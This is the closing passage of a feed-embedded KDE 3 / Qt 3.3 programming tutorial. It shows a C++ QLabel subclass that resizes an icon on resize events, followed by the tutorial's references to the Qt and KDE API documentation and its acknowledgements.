#include</span> <span class="cpf">&lt;qevent.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;qwidget.h&gt;</span><span class="cp">
</span>
<span class="k">class</span> <span class="nc">Widget</span> <span class="o">:</span> <span class="k">public</span> <span class="n">QLabel</span> <span class="p">{</span>
<span class="nl">public:</span>
  <span class="n">Widget</span><span class="p">(</span><span class="n">QWidget</span><span class="o">*</span> <span class="n">parent</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">name</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span> <span class="o">:</span> <span class="n">QLabel</span><span class="p">(</span><span class="n">parent</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">setAlignment</span><span class="p">(</span><span class="n">Qt</span><span class="o">::</span><span class="n">AlignHCenter</span> <span class="o">|</span> <span class="n">Qt</span><span class="o">::</span><span class="n">AlignVCenter</span><span class="p">);</span>
  <span class="p">}</span>

<span class="k">protected</span><span class="o">:</span>
  <span class="kt">void</span> <span class="nf">resizeEvent</span><span class="p">(</span><span class="n">QResizeEvent</span><span class="o">*</span> <span class="n">e</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">h</span> <span class="o">=</span> <span class="n">e</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">().</span><span class="n">height</span><span class="p">();</span>
    <span class="kt">int</span> <span class="n">w</span> <span class="o">=</span> <span class="n">e</span><span class="o">-&gt;</span><span class="n">size</span><span class="p">().</span><span class="n">width</span><span class="p">();</span>
    <span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="p">(</span><span class="n">h</span> <span class="o">&gt;</span> <span class="n">w</span><span class="p">)</span> <span class="o">?</span> <span class="n">h</span> <span class="o">:</span> <span class="n">w</span><span class="p">;</span>
    <span class="n">setPixmap</span><span class="p">(</span><span class="n">SmallIcon</span><span class="p">(</span><span class="n">Settings</span><span class="o">::</span><span class="n">icon</span><span class="p">(),</span> <span class="n">size</span><span class="p">));</span>
  <span class="p">}</span>
<span class="p">};</span></code></pre></figure>

<h1 id="references">References</h1>

<ul>
  <li>Qt 3.3.3 API Reference. Trolltech AS. 10 September 2004 (<a href="http://doc.trolltech.com/3.3/index.html">http://doc.trolltech.com/3.3/index.html</a>).</li>
  <li>KDE 3.3.0 API Reference. KDE e.V. 8 September 2004 (<a href="http://developer.kde.org/documentation/library/3.3-api/index.html">http://developer.kde.org/documentation/library/3.3-api/index.html</a>).</li>
  <li>Using KConfig XT. KDE e.V and Zack Rusin. 17 September 2004 (<a href="http://developer.kde.org/documentation/tutorials/kconfigxt/kconfigxt.html">http://developer.kde.org/documentation/tutorials/kconfigxt/kconfigxt.html</a>).</li>
</ul>

<h1 id="acknowledgements">Acknowledgements</h1>

<p>I would like to express my gratitude to Jeff Tranter (<a href="mailto:jefft@xandros.com">jefft@xandros.com</a>) and the Xandros Corporation for introducing me to the world of KDE development. Without them this document would not have been possible.</p>

<p>Thanks also to Frerich Raabe (<a href="mailto:raabe@kde.org">raabe@kde.org</a>) for his suggestions in improving the code examples and explanations.</p>]]></content><author><name>Kamil Jiwa</name></author><summary type="html"><![CDATA[Introduction]]></summary></entry></feed>